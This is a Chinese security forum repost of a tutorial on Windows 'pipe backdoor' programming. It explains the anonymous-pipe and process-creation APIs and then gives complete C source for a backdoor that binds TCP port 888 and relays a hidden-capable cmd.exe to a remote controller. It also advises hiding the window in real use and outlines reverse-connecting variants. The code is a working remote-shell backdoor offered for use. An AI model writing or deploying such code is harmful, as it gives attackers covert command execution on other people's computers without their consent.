安全矩阵

 找回密码
 立即注册
搜索
查看: 2458|回复: 0

网络安全编程:远程cmd通信

[复制链接]

221

主题

233

帖子

792

积分

高级会员

Rank: 4

积分
792
发表于 2021-6-6 08:59:42 | 显示全部楼层 |阅读模式
网络安全编程:远程cmd通信计算机与网络安全 昨天
一次性付费进群,长期免费索取资料。
回复公众号:微信群 可查看进群流程。
广告
Windows黑客编程技术详解(异步图书出品)作者:甘迪文
京东


微信公众号:计算机与网络安全
ID:Computer-network

在各种黑客电影、电视中,经常会看到黑客在黑底白字地输入各种命令进行攻击。有时是系统自带的命令行工具,即cmd.exe;有时是一些其他基于命令行的工具,比如metasploit。用系统自带的命令行工具,一般是操作自己的主机系统。如何通过命令行操作其他人的主机系统是下面要介绍的内容。

1. 管道技术

管道是一种简单的进程间通信的技术。在Windows下,进程间通信技术有邮槽、事件、文件映射、管道等。管道可以分为命名管道和匿名管。匿名管道比命名管道要简单许多,它是一个未命名的单向管道,常用来在一个父进程和一个子进程之间传递数据。匿名管道只能实现本地机器上两个进程间的通信,不能实现跨网络的通信。

匿名管道由CreatePipe()函数创建,管道有读句柄和写句柄,分别作为输入和输出。CreatePipe()函数的定义如下:
  1. BOOL CreatePipe(
  2. PHANDLE hReadPipe,
  3. PHANDLE hWritePipe,
  4. LPSECURITY_ATTRIBUTES lpPipeAttributes,
  5. DWORD nSize
  6. );
复制代码
CreatePipe()函数将创建一个匿名管道,并返回该匿名管道的读句柄和写句柄。该函数有4个参数,分别如下。

hReadPipe:指向 HANDLE 类型的指针,返回管道的读句柄。

hWritePipe:指向 HANDLE 类型的指针,返回管道的写句柄。

nSize:指定管道的缓冲区大小。这里赋值为 0,使用系统默认大小的缓冲区。

lpPipeAttributes:指向 SECURITY_ATTRIBUTES 结构体的指针,检测返回的句柄是否能被子进程集成。如果此参数为 NULL,则表示句柄不能被继承。匿名管道只能在父子进程间进行通信,进行数据的传递。那么子进程如果想要获得匿名管道的句柄,只能从父进程继承。SECURITY_ATTRIBUTES 结构体定义如下:

  1. typedef struct _SECURITY_ATTRIBUTES {
  2. DWORD nLength;
  3. LPVOID lpSecurityDescriptor;
  4. BOOL bInheritHandle;
  5. } SECURITY_ATTRIBUTES, *PSECURITY_ATTRIBUTES;
复制代码
SECURITY_ATTRIBUTES 结构体有 3 个成员,分别说明如下。

nLength:指定该结构体的大小,一般使用 sizeof()来进行计算。

lpSecurityDescriptor:指向一个安全描述符指针,这里可以赋值为 NULL。

bInheritHandle:该成员指定所返回的句柄是否能被一个新的进程所继承。如果此成员设置为 TRUE,那么返回的句柄能够被进程继承。这里设置为 TRUE。

一个匿名管道有两头,分别是读句柄和写句柄。写句柄用来往管道中写入数据,读句柄用来把管道中的数据读出来。向管道读取或写入数据,直接调用ReadFile()或WriteFile()即可。

在对管道进行读取前,先要判断管道中是否有数据存在,如果有数据,则使用ReadFile()函数将管道中的数据读出,以避免数据接收方长时间等待。判断管道中是否有数据存在的函数是PeekNamedPipe(),其定义如下:
  1. BOOL PeekNamedPipe(
  2. HANDLE hNamedPipe,
  3. LPVOID lpBuffer,
  4. DWORD nBufferSize,
  5. LPDWORD lpBytesRead,
  6. LPDWORD lpTotalBytesAvail,
  7. LPDWORD lpBytesLeftThisMessage
  8. );
复制代码
该函数有 6 个参数,其含义分别如下。

hNamedPipe:要检查的管道的句柄。

lpBuffer:读取数据的缓冲区。

nBufferSize:读取数据的缓冲区大小。

lpBytesRead:返回实际读取数据的字节数。

lpTotalBytesAvail:返回读取数据总的字节数。

lpBytesLeftThisMessage:返回该消息中剩余的字节数,对于匿名管道可以为 0。

该函数读取管道中的数据,但是不从管道中移除数据。当有数据后,可以调用ReadFile()来完成数据的读取操作。为了避免长时间等待,可以先调用PeekNamedPipe()函数判断管道中是否有数据,也可以通过主线程分别开启用于读数据和写数据的线程,这样在读数据时就可以不用进行是否有数据的判断了。这里采用前者。

匿名管道的通信和数据传递是在父子进程之间进行的。创建进程的CreateProcess()函数满足现在的要求。CreateProcess()函数的定义如下:
  1. BOOL CreateProcess(
  2. LPCTSTR lpApplicationName,
  3. LPTSTR lpCommandLine,
  4. LPSECURITY_ATTRIBUTES lpProcessAttributes,
  5. LPSECURITY_ATTRIBUTES lpThreadAttributes,
  6. BOOL bInheritHandles,
  7. DWORD dwCreationFlags,
  8. LPVOID lpEnvironment,
  9. LPCTSTR lpCurrentDirectory,
  10. LPSTARTUPINFO lpStartupInfo,
  11. LPPROCESS_INFORMATION lpProcessInformation
  12. );
复制代码
这里具体介绍bInheritHandles和lpStartupInfo两个参数。

bInheritHandles:该参数用来指定父进程创建的子进程是否能够继承父进程的句柄。如果该参数为 TRUE,那么父进程的每个可以继承的打开的句柄都能够被子进程继承。

lpStartupInfo:一个指向 STARTUPINFO 结构体的指针。该结构体用来指定新进程的主窗口将如何显示,输入输出等启动信息。STARTUPINFO 结构体的定义如下:
  1. typedef struct _STARTUPINFO {
  2. DWORD cb;
  3. LPTSTR lpReserved;
  4. LPTSTR lpDesktop;
  5. LPTSTR lpTitle;
  6. DWORD dwX;
  7. DWORD dwY;
  8. DWORD dwXSize;
  9. DWORD dwYSize;
  10. DWORD dwXCountChars;
  11. DWORD dwYCountChars;
  12. DWORD dwFillAttribute;
  13. DWORD dwFlags;
  14. WORD wShowWindow;
  15. WORD cbReserved2;
  16. LPBYTE lpReserved2;
  17. HANDLE hStdInput;
  18. HANDLE hStdOutput;
  19. HANDLE hStdError;
  20. } STARTUPINFO, *LPSTARTUPINFO;
复制代码
该结构体是设定被创建子进程的启动信息,它的成员非常多,这里主要使用其中的6个参数,具体如下。

cb:用于指明 STARTUPINFO 结构体的大小。

dwFlags:用于设定 STARTUPINFO 结构体的哪些字段会被用到。

wShowWindow:用于设定子进程启动时的现实方式。

hStdInput:用于设定控制台的标准输入句柄。

hStdOutput:用于设定控制台的标准输出句柄。

hStdError:用于设定控制台的标准出错句柄,类似于标准输出句柄,之所以要与hStdOutput分开,是因为有时出错后需要记录到文件中。

以上就是管道后门所需要使用到的API函数,下面来具体介绍关于管道后门的实现技术方式。

后门分为控制端和被控制端。由于这里实现的是一个命令行的后门,那么控制端就是在不断输入相应的命令,比如dir、net user、ping等命令。注意,这些命令并不是在控制端执行,而是送入远程的被控制端执行。当远程的被控制端执行完控制端需要执行的命令后,需要把相应的返回结构发送给控制端。

这里后门的需求已经明确,就是把控制台的命令和控制台的结果不断进行传输。方法是被控制端的父进程接收控制端发来的命令,同样被控制端的父进程发送命令运行的结果给控制端,而执行命令则由父进程创建的子进程(cmd.exe)来完成。通信过程如图1所示。

图1  通信过程

父进程启动子进程前,需要将STARTUPINFO中的输入输出句柄重定向到匿名管道中,这样父进程才能通过管道向子进程中传递命令,而子进程也能通过管道将命令的返回结果传递给父进程。
2. 双管道后门代码实现

现在来看管道的编写远程cmd后面的实现代码,具体如下:
  1. #include <stdio.h>
  2. #include <winsock2.h>
  3. #pragma comment (lib, "ws2_32")
  4. int main()
  5. {
  6.   WSADATA wsa;
  7.   WSAStartup(MAKEWORD(2, 2), &wsa);
  8.   // 创建 TCP 套接字
  9.   SOCKET s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  10.   // 绑定套接字
  11.   sockaddr_in sock;
  12.   sock.sin_family = AF_INET;
  13.   sock.sin_addr.S_un.S_addr = ADDR_ANY;
  14.   sock.sin_port = htons(888);
  15.   bind(s, (SOCKADDR*)&sock, sizeof(SOCKADDR));
  16.   // 置套接字为监听状态
  17.   listen(s, 1);
  18.   // 接受客户端请求
  19.   sockaddr_in sockClient;
  20.   int SaddrSize = sizeof(SOCKADDR);
  21.   SOCKET sc = accept(s, (SOCKADDR*)&sockClient, &SaddrSize);
  22.   // 创建管道
  23.   SECURITY_ATTRIBUTES sa1, sa2;
  24.   HANDLE hRead1, hRead2, hWrite1, hWrite2;
  25.   sa1.nLength = sizeof(SECURITY_ATTRIBUTES);
  26.   sa1.lpSecurityDescriptor = NULL;
  27.   sa1.bInheritHandle = TRUE;
  28.   sa2.nLength = sizeof(SECURITY_ATTRIBUTES);
  29.   sa2.lpSecurityDescriptor = NULL;
  30.   sa2.bInheritHandle = TRUE;
  31.   CreatePipe(&hRead1, &hWrite1, &sa1, 0);
  32.   CreatePipe(&hRead2, &hWrite2, &sa2, 0);
  33.   // 创建用于通信的子进程
  34.   STARTUPINFO si;
  35.   PROCESS_INFORMATION pi;
  36.   ZeroMemory(&si, sizeof(STARTUPINFO));
  37.   si.cb = sizeof(STARTUPINFO);
  38.   si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
  39.   // 为了测试,这里设置为 SW_SHOW,在实际中应该为 SW_HIDE
  40.   si.wShowWindow = SW_SHOW;
  41.   // 替换标准输入输出句柄
  42.   // 对于后门程序,管道 1 用于输出
  43.   // 对于后门程序,管道 2 用于输入
  44.   si.hStdInput = hRead2;
  45.   si.hStdOutput = hWrite1;
  46.   si.hStdError = hWrite1;
  47.   char *szCmd = "cmd";
  48.   CreateProcess(NULL, szCmd, NULL, NULL,
  49.     TRUE, 0, NULL, NULL, &si, &pi);
  50.   DWORD dwBytes = 0;
  51.   BOOL bRet = FALSE;
  52.   char szBuffer[0x1000] = { 0 };
  53.   char szCommand[0x1000] = { 0 };
  54.   while ( TRUE )
  55.   {
  56.     ZeroMemory(szCommand, 0x1000);
  57.     bRet = PeekNamedPipe(hRead1, szBuffer, 0x1000, &dwBytes, 0, 0);
  58.     if ( dwBytes )
  59.     {
  60.       // 当 hStdOutput 和 hStdError 向管道 1 写入数据后
  61.       // 应该将管道 1 中的数据读出
  62.       ReadFile(hRead1, szBuffer, 0x1000, &dwBytes, NULL);
  63.       send(sc, szBuffer, dwBytes, 0);
  64.     }
  65.     else
  66.     {
  67.       // 父进程接受到控制端的数据后
  68.       // 写入管道 2 中
  69.       int i = 0;
  70.       // telnet 在发送字符时是逐个发送的
  71.       // 因此这里需要合并完整的命令
  72.       while ( 1 )
  73.       {
  74.         dwBytes = recv(sc, szBuffer, 0x1000, 0);
  75.         if ( dwBytes <= 0 )
  76.         {
  77.           break;
  78.         }
  79.         szCommand[i++] = szBuffer[0];
  80.         if ( szBuffer[0] == '\r' || szBuffer[0] == '\n' )
  81.         {
  82.           szCommand[i-1] = '\n';
  83.           break;
  84.         }
  85.       }
  86.       WriteFile(hWrite2, szCommand, i, &dwBytes, NULL);
  87.     }
  88.   }
  89.   WSACleanup();
  90.   return 0;
  91. }
复制代码
编译连接并运行这个后门,然后用telnet命令连接该后门,就可以测试该后门的效果了。这个管道后面是一个简陋的管道后门,但是基本完成了远程cmd的通信。不过,其中有很多问题没有解决,比如当远程用户输入“exit”命令后,管道后门就退出了,而远程用户的命令控制界面就无任何输出了。当然,这只是其中一个问题而已,为了演示所需的管道技术,这里就不去完善了。请大家自行完善该后门中的其他问题。

管道后门还有其他几种变形的形式。这里的例子中使用了两个管道,分别针对读和写,而其他的形式还有单管道后门和零管道后门。单管道后门的原理是在执行cmd时直接带参数执行,而省去了给cmd传递命令的管道。零管道后门是直接将cmd的输入输出句柄替换为socket句柄。当然,这些管道后门同样可以主动连接控制端,而实现反弹端口的连接形式。

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 04:50 , Processed in 0.012856 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表